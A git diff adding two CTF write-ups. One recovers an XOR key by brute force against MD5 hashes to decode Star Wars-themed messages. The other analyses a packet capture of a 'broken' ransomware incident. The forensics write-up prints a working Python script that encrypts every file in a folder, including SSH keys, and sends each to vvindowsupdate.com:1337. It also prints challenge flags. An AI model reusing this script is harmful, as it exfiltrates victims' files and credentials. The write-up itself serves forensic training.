'135f264aa1d5d886471e88c944704db8', + 'af449bca97466f556bcc77c6150eb013', + '468ad9f05ca6e30a202d62970628c04f', + 'e044ab23133491e4dc010439fd5b4976', + '8588f19d7260886758371d53bdcfee94', + '7a14ba71a3bdb19082ef352a25ed60cc', + '7935dad11bb4e8a6fac4f9bf1b931c4d', + '379a4ad6c7fac41cf73a69ee95bea6b4', + '2fe14f88d52754c9bd169850924637ec', + '4ca0e08a0f9de1f3b19066cadd31dcf7', + 'c020be146a34acea950d12dc512404e3', +] + +enc_msg = b'FCscMQoGXUYTJDYgFzFKEzZEL3kYCBZKCWcSHQEDWQ49K1w=' +enc_bytes = b64decode(msg) + +key = '' +i = 0 +dec_bytes = bytearray() +for e in enc_bytes: + for k in range(256): + d = dec_bytes[:] + d.append(k ^ e) + if md5(d).hexdigest() == hashes[i]: + dec_bytes = d + i += 1 + key += chr(k) + break +print(key) +# SNrTxg1fXAXOuXf3O+ZYyzsjhGprmgyaSNr +``` + +So, the $\text{key}$ must be $\text{``SNrTxg1fXAXOuXf3O+ZYyzsjhGprmgya"}$ as the last few characters are just first few characters repeated . + +### 2. Decoding the messages + +Now, using this $\text{key}$, we can decode all the messages. + +Code: +```py +from itertools import cycle +from base64 import b64decode + +key = b'SNrTxg1fXAXOuXf3O+ZYyzsjhGprmgya' + +# copied from the decryption_server.log +enc_msgs = [ + b'GyseOBdHRQ49Mz1h', + b'FCscMQoGXUYTJDYgFzFKEzZEL3kYCBZKCWcSHQEDWQ49K1w=', + b'CiEHJlgKXhA9bw==', + b'CiEHdB4IXgp2YRFoAz1GUSpONHkNCBIDBiIUUgQJWRg8OwB0GxVIFiwuPz0UKA5Kb0ooLQpaERNIBB8HAxNZJTwhGSFZ', + b'EjoGNRsMHUYTJDYgFzFHEylHOz4CG0FZDnBCQwwCHwdkLERhGgQJUT1zbH9EbQcGe0o7bEoH', + b'ACFSIRYEWBAxLTE1EDxIHWE=', +] + +dec_msgs = [] + +for e_msg in enc_msgs: + msg = b64decode(e_msg) + d_msg = '' + for m, k in zip(msg, cycle(key)): + d_msg += chr(m ^ k) + dec_msgs.append(d_msg) + +print(*dec_msgs, sep='\n') +``` + +Output: +``` +Hello there. +General Kenobi, you are a bold one. +Your move. +You fool. I've been trained in your cryptography arts by Count Dooku! +Attack, Kenobi! flag{a23f721aeff7b65bc87e24015a54aa53} +So uncivilized... +``` diff --git a/content/ctf-writeups/nahamcon/forensics.md b/content/ctf-writeups/nahamcon/forensics.md new file mode 100644 index 0000000..9369ddc --- /dev/null +++ b/content/ctf-writeups/nahamcon/forensics.md @@ -0,0 +1,125 @@ +--- +layout: post +title: Nahamcon CTF 2024 | Forensics-Writeups +date: 2024-05-26 +tags: ['Nahamcon_CTF_2024'] +math: True +--- + +# Forensics/1337-malware writeup + +## Challenge description + +We received a plea for help from a rather frustrated looking employee. He said he accidently ran malware on his computer, but when he tried to pay the "leet hacker" to get his files back they said the malware was "broken"... best IT could do was provide us a PCAP. + +Download the file(s) below: + +[1337-malware.pcapng](../assets/1337-malware.pcapng) + + +## Solution +First, let us analyse the pcap file. +For brevity, let us call the system with IP address 192.168.56.101 as A and that with 192.168.56.1 as B. + +We can see a python code sent by A to B in the packet No.7 which is as follows: + +```python +import socket +import base64 +import os +from random import randbytes +from pwn import xor + +# DON'T FORGET TO CHANGE THIS TO THE REAL KEY!!!! +key = randbytes(32) + +def encrypt(filename): + f = open(filename, 'rb') + data = f.read() + f.close() + + encrypted = xor(data, key) + return encrypted + +def send_encrypted(filename): + print(f'sending {filename}') + data = encrypt(filename) + + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect(('vvindowsupdate.com', 1337)) + s.sendall((f'Sending: {filename}').encode()) + s.close() + + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect(('vvindowsupdate.com', 1337)) + s.sendall(data) + s.close() + +def get_all_files(): + file_paths = [] + for root, dirs, files in os.walk(os.path.dirname(os.path.realpath(__file__))): + for file in files: + file_paths.append(os.path.join(root, file)) + file_paths.remove(__file__) + return file_paths + +files = get_all_files() +for f in files: + send_encrypted(f) + #os.remove(f) +``` + +In short, when this script is run in a folder, it generates a random 32 bytes key and then encrypts (by XOR with this key) and sends all the files (one after the other) present in that folder and in its sub-folders to the remote server `vvindowsupdate.com` on the port `1337`. + +On analyzing packets further, we find a part of output of the above code i.e. `Sending: /home/davey/Documents/resources.zip` in packet No.15 sent by B to A and on following the subsequent TCP stream (stream 2), we get the encrypted data of the file `resources.zip` again sent by B to A. This implies that B has run the above script in the folder `/home/davey/Documents`. + +In the next packets, we find the following files (mentioned along with TCP stream of their encrypted data), sent by B to A in encrypted form: +- ecorp.png -> TCP stream 4 +- Welcome Aboard.pdf -> stream 6 +- /.ssh/id_rsa -> stream 8 +- /.ssh/id_rsa.pub -> stream 10 + +Now we have the encrypted data of 5 files. So we have to decrypt them to get the flag.To decrypt them we have to XOR them with that randomly generated 32 bytes key. To find the 32 bytes key, we will use the header bytes of files (which are standard for a file format). But we will also use a little luck here, because otherwise, we would not be able to find the 32 bytes key. + +The first 16 bytes of PNG files `8950 4e47 0d0a 1a0a 0000 000d 4948 4452` do not change so often , so we will find the first 16 bytes of the key by taking their XOR with the first 16 bytes of the encrypted `ecorp.png` file. + +So the first 16 bytes of the key are `82 C2 53 50 8B D5 4C 47 A7 E5 6D EC D8 76 B5 D6` + +Now to find the remaining bytes, we will use `resources.zip`. The 30th and 31st byte of a zip file store the 1st and 2nd character of the name of the zip file, that are 'r' and 'e'. The 26th and 27th bytes store the length of the name of the zip file, which is 10 in our case (`resources/`). Now after observing the initial bytes of multiple zip files, we get to know that the remaining bytes of header (except the first 16 and those found above) are mostly `00`. Using all this information, we find the probable key i.e. `82 C2 53 50 8B D5 4C 47 A7 E5 6D EC D8 76 B5 D6 a4 27 c6 45 09 0b 72 e1 b9 71 33 22 e2 e1 59 59`. + +Now we will write a python script to carve out the required encrypted data from the TCP stream of the respective file and try to decrypt it using the above key. If we try to decrypt the resources.zip file using the above key, we find that the key has some error in it. On observing the hexdump of the decrypted resources.zip, we find a string `wepcome.txt`.It is intuitive that it should be `welcome.txt` and so therefore we find that the corrected key should be `82 C2 53 50 8B D5 4C 47 A7 E5 6D EC D8 76 B5 D6 a4 27 c6 45 09 0b 72 e1 b9 71 33 22 fe e1 59 59`. + +Now we just have to decrypt the files using this key. The script for decrypting ecorp.png (as an example) is: + +```python +from scapy.all import rdpcap +from Crypto.Util.number import * + +pcap = rdpcap("1337-malware.pcapng") + +stream_src_IP = '192.168.56.1' +stream_dst_IP = '192.168.56.101' +stream_src_port = 33934 +stream_dst_port = 1337 + +stream_packets = [pkt for pkt in pcap if pkt.haslayer('IP') and pkt.haslayer('TCP') and + pkt['IP'].src == stream_src_IP and pkt['IP'].dst == stream_dst_IP and + pkt['TCP'].sport == stream_src_port and pkt['TCP'].dport == stream_dst_port] + +img_enc_data = b"".join(bytes(pkt['TCP'].payload) for pkt in stream_packets) + +key = ['82','C2','53','50','8B','D5','4C','47','A7','E5','6D','EC','D8','76','B5','D6','a4','27','c6','45','09','0b','72','e1','b9','71','33','22','fe','e1','59','59'] + +img_data = b"" + +for i in range(len(img_enc_data)): + e = img_enc_data[i]^bytes_to_long(bytes.fromhex(key[i%32])) + img_data += long_to_bytes(e) + +with open("dec.png",'wb') as f: + f.write(img_data) +``` + +We can decrypt the pdf and zip file using a similar python script. We find the password of resources.zip in the pdf, use it to uncompress the zip file and find the flag in flag.txt that is: + +`flag{c95c4ff18b0eb88123de779051a7a24f}` \ No newline at end of file